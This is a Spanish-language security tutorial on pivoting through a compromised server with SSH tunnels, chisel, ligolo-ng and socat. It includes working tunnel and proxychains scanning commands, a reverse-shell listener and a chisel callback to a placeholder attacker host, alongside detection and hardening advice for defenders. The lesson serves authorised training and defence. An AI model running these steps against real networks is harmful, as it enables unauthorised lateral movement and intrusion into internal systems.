Pivoting con túneles SSH: cómo moverse a redes internas desde un servidor comprometido

Un servidor comprometido no suele ser el objetivo final de una auditoría: es la puerta a otras máquinas. Muchas organizaciones mantienen servicios internos (bases de datos, paneles de administración, aplicaciones heredadas) en redes privadas que solo son alcanzables desde dentro. El trabajo del auditor, tras conseguir acceso al primer servidor, es utilizar ese servidor como trampolín para llegar a lo demás. A eso se le llama pivoting.

Los túneles SSH son la forma más limpia, más silenciosa y más portable de hacerlo. Si el servidor comprometido tiene un cliente SSH y una ruta de salida hacia tu equipo, puedes usarlo para alcanzar servicios internos que no tienen IP pública, para exponer puertos de tu equipo al interior o para rutar todo tu tráfico a través de él como si estuvieras físicamente dentro de la red.

En esta lección vas a ver los tres tipos de túnel SSH, cuándo se usa cada uno, qué herramientas existen cuando no hay SSH disponible y cómo detectar y limitar estos movimientos en tus redes.

Practica solo contra sistemas propios o en entornos autorizados, como los laboratorios de whoami-labs. Hacer pivoting en redes ajenas sin permiso es un delito grave.

Qué es el pivoting#

Imagina este escenario: en el servidor web del laboratorio hay una IP pública, y dentro de la red hay otras dos máquinas (una base de datos y un panel de administración) que solo responden a direcciones privadas. Desde tu equipo no puedes alcanzarlas directamente. El servidor comprometido sí: está en la red interna.

El pivoting consiste en usar ese servidor como relé para hablar con las máquinas internas. Hay dos formas clásicas de lograrlo:

• Túneles SSH: usa el canal cifrado de SSH para transportar tráfico.
• Proxies y herramientas dedicadas (chisel, ligolo-ng, socat): cuando no hay SSH o se necesita más flexibilidad.

Vamos a empezar por los túneles SSH porque están disponibles casi siempre, no requieren subir binarios adicionales y son los que más vas a ver en los laboratorios.

Los tres tipos de túnel SSH#

Túnel local (-L): llegar a un servicio interno desde tu equipo#

La opción -L abre un puerto en tu equipo local que, cuando alguien se conecta, viaja por SSH hasta el servidor comprometido y desde allí llega al destino interno.

# Desde tu equipo del laboratorio
ssh -L 8080:192.168.100.5:80 usuario@IP_DEL_LAB -N

• -L 8080:192.168.100.5:80: abre el puerto 8080 en tu equipo; cualquier conexión a 127.0.0.1:8080 saldrá, a través del servidor, hacia 192.168.100.5:80.
• usuario@IP_DEL_LAB: la cuenta en el servidor comprometido.
• -N: no abre shell interactiva, solo mantiene el túnel.

Después, en tu equipo, abrir http://127.0.0.1:8080 muestra la web interna como si estuvieras dentro.

Túnel remoto (-R): exponer un servicio tuyo al servidor comprometido#

La opción -R hace lo contrario: abre un puerto en el servidor remoto que, al conectarse, acaba en una dirección de tu equipo. Útil cuando necesitas que la víctima descargue algo de tu máquina o reciba una reverse shell sin abrir puertos de tu router.

ssh -R 4444:127.0.0.1:4444 usuario@IP_DEL_LAB -N

Así, cualquier proceso en IP_DEL_LAB que se conecte a su propio puerto 4444 acaba en tu nc -lvnp 4444.

Túnel dinámico (-D): SOCKS proxy#

Esta es la más versátil y la que más vas a usar en laboratorios con red interna. La opción -D monta un proxy SOCKS en tu equipo. Toda aplicación que soporte SOCKS puede enviar su tráfico a través del servidor comprometido.

ssh -D 1080 usuario@IP_DEL_LAB -N

A partir de aquí, cualquier herramienta configurada para usar SOCKS en 127.0.0.1:1080 saldrá a internet desde la IP del servidor comprometido y verá la red interna. La herramienta clásica para esto es proxychains:

# Editar /etc/proxychains.conf: socks5 127.0.0.1 1080
proxychains nmap -Pn -sT -p 80,443,445,3306 192.168.100.0/24
proxychains firefox http://192.168.100.5
proxychains psql -h 192.168.100.10 -U appuser

Resumen comparativo#

Los tres se pueden combinar con -f para que SSH quede en segundo plano, y con -C para comprimir si el enlace es lento.

Flujo típico en un laboratorio de pivoting#

En un laboratorio autorizado con red interna, el flujo es casi siempre el mismo:

1. Comprometer el servidor de salida. El típico servidor web expuesto a internet.
2. Descubrir la red interna. ip a, arp -a, cat /etc/hosts, escaneos de rangos privados.
3. Montar un túnel dinámico. ssh -D 1080 usuario@IP_DEL_LAB desde tu equipo.
4. Escanear a través del proxy. proxychains nmap -sT -Pn 192.168.100.0/24.
5. Atacar servicios internos. Bases de datos, paneles, otros servidores SSH, todo a través del proxy.
6. Encadenar más pivotes si el laboratorio tiene varias capas (bastión → DMZ → red interna).

Qué buscar en la red interna#

Una vez el túnel esté levantado y puedas escanear a través del proxy, los servicios que más vale la pena probar primero son:

Escanear los 1000 puertos típicos de cada equipo de la red interna suele revelar decenas de servicios que nunca debieron estar accesibles. Dentro de una red que se consideraba «protegida», la relación entre lo que se expone y lo que se defiende es muy diferente a la del perímetro. En el perímetro, los administradores revisan cada puerto con lupa; en la red interna, mucho queda expuesto porque se asume que «aquí no entra nadie de fuera». El pivoting rompe esa suposición y cambia el juego por completo para el auditor: lo que desde fuera parecía bien protegido, desde dentro aparece lleno de servicios olvidados, bases de datos accesibles y configuraciones laxas que nunca se pensaron para resistir un ataque interno.

Cuando no hay SSH disponible: chisel y ligolo-ng#

A veces el servidor comprometido no tiene cliente SSH, o no deja conectarte hacia fuera por el 22. Las herramientas modernas de pivoting resuelven estos casos:

chisel#

chisel es un binario estático en Go que establece un túnel sobre HTTP o HTTPS. Muy útil porque pasa por casi cualquier firewall y suele parecerse a tráfico web legítimo.

# En tu equipo (servidor)
./chisel server -p 8000 --reverse

# En el servidor comprometido (cliente)
./chisel client http://IP_ATACANTE:8000 R:1080:socks

Después, usas 127.0.0.1:1080 como proxy SOCKS en tu equipo igual que con -D.

ligolo-ng#

ligolo-ng es más potente para redes complejas: crea una interfaz virtual en tu equipo que se comporta como si estuvieras físicamente dentro de la red del servidor comprometido. No hace falta proxychains: tus herramientas ven directamente los rangos internos.

socat#

Para casos sencillos (reenviar un solo puerto), socat es un cuchillo del ejército suizo que funciona en casi cualquier Linux:

# Reenviar el puerto 80 interno al 8080 tuyo, a través del servidor
socat TCP-LISTEN:8080,fork TCP:192.168.100.5:80

Todas estas herramientas son binarios estáticos pequeños que se suben al servidor comprometido con cualquier medio (una webshell, SCP, wget).

Cómo detectar y restringir el pivoting#

Desde el lado defensivo, detectar pivoting significa buscar conexiones que no debería hacer el servidor normalmente.

En red#

• Alertar sobre conexiones SSH salientes desde servidores donde no tienen sentido (un servidor web no suele iniciar sesiones SSH hacia internet).
• Patrones de proxy: muchas conexiones cortas de distintos destinos pasando por el mismo túnel.
• Longitudes y tiempos de conexión atípicos.

Herramientas como Zeek y Suricata tienen reglas listas para parte de estos patrones.

En servidor#

• auditd vigila nuevos procesos que lanzan ssh o socat como hijos del usuario del servicio web o de la base de datos.
• Procesos con conexiones salientes a puertos infrecuentes.
• Carga de interfaces de red virtuales nuevas (ligolo deja rastro).

Restricciones#

• Egress filtering: bloquear de salida todo lo que no sea estrictamente necesario; un servidor web rara vez necesita hacer SSH a internet.
• Segmentación de red real: la red interna no debe ser accesible desde cada servidor expuesto. Firewalls internos que separen zonas.
• Acceso Zero Trust: no confiar en «ya estoy dentro»: cada servicio interno exige su propia autenticación.
• Jump servers endurecidos: que los administradores pasen por un bastión con registro y MFA, no por el servidor web.

Errores comunes#

• Pensar que el firewall perimetral basta. Una vez dentro, un servidor normal ve toda la red interna salvo que esté segmentada.
• Permitir salidas SSH ilimitadas desde servidores. Son el canal clásico para túneles.
• No separar redes de servicios y de administración. Un servidor web comprometido en la misma red que los de BD facilita el salto.
• Olvidar auditar binarios estáticos. chisel, ligolo o socat subidos y ejecutados por usuarios de servicio deberían generar alarmas.
• Confiar en «ya avisará el antivirus». Los túneles SSH y HTTP son tráfico legítimo; necesitan detección por comportamiento.

Preguntas frecuentes#

¿Qué es un proxy SOCKS?#

Un proxy genérico que acepta conexiones TCP y UDP de cualquier aplicación compatible y las reenvía a su destino. A diferencia de un proxy HTTP, no se limita a navegación web: funciona para SSH, bases de datos, cualquier cosa.

¿Por qué usar proxychains?#

Porque permite usar un proxy SOCKS con herramientas que no soportan proxy nativamente (nmap, psql, mysql, curl). Fuerza el tráfico de esos programas a través del proxy sin cambiar su código.

¿Un túnel SSH es más detectable que un reverse shell?#

Un túnel SSH se parece a tráfico administrativo normal y se cifra, lo que lo hace más discreto para IDS basados en contenido. Pero deja huellas claras: nuevos sockets, procesos ssh con flags -L/-R/-D, conexiones de larga duración.

¿Necesito un bastión para pivoting?#

Para auditorías, basta con el servidor comprometido. En arquitecturas corporativas, los bastiones (o jump hosts) son máquinas controladas donde los administradores saltan antes de acceder a servidores internos. Un bastión bien configurado es una medida defensiva, no ofensiva.

¿Dónde practico?#

En los laboratorios enlazados al final de esta lección, varios de ellos están diseñados para pivotear entre segmentos de red.

Resumen#

• El pivoting usa un servidor comprometido como trampolín para alcanzar redes internas.
• Los túneles SSH son la vía más portátil: -L para llegar a un servicio interno, -R para exponer uno tuyo, -D para un proxy SOCKS dinámico.
• proxychains permite usar herramientas sin soporte de SOCKS a través del túnel.
• Cuando no hay SSH, chisel (HTTP/S), ligolo-ng (interfaz virtual) y socat (reenvío puntual) resuelven la mayoría de escenarios.
• Para defenderse: segmentación real, egress filtering, bastiones, Zero Trust y detección por comportamiento.

Fuentes y lecturas recomendadas#

• Página de manual de ssh (-L, -R, -D)
• chisel en GitHub
• ligolo-ng en GitHub
• proxychains en GitHub
• MITRE ATT&CK T1572: Protocol Tunneling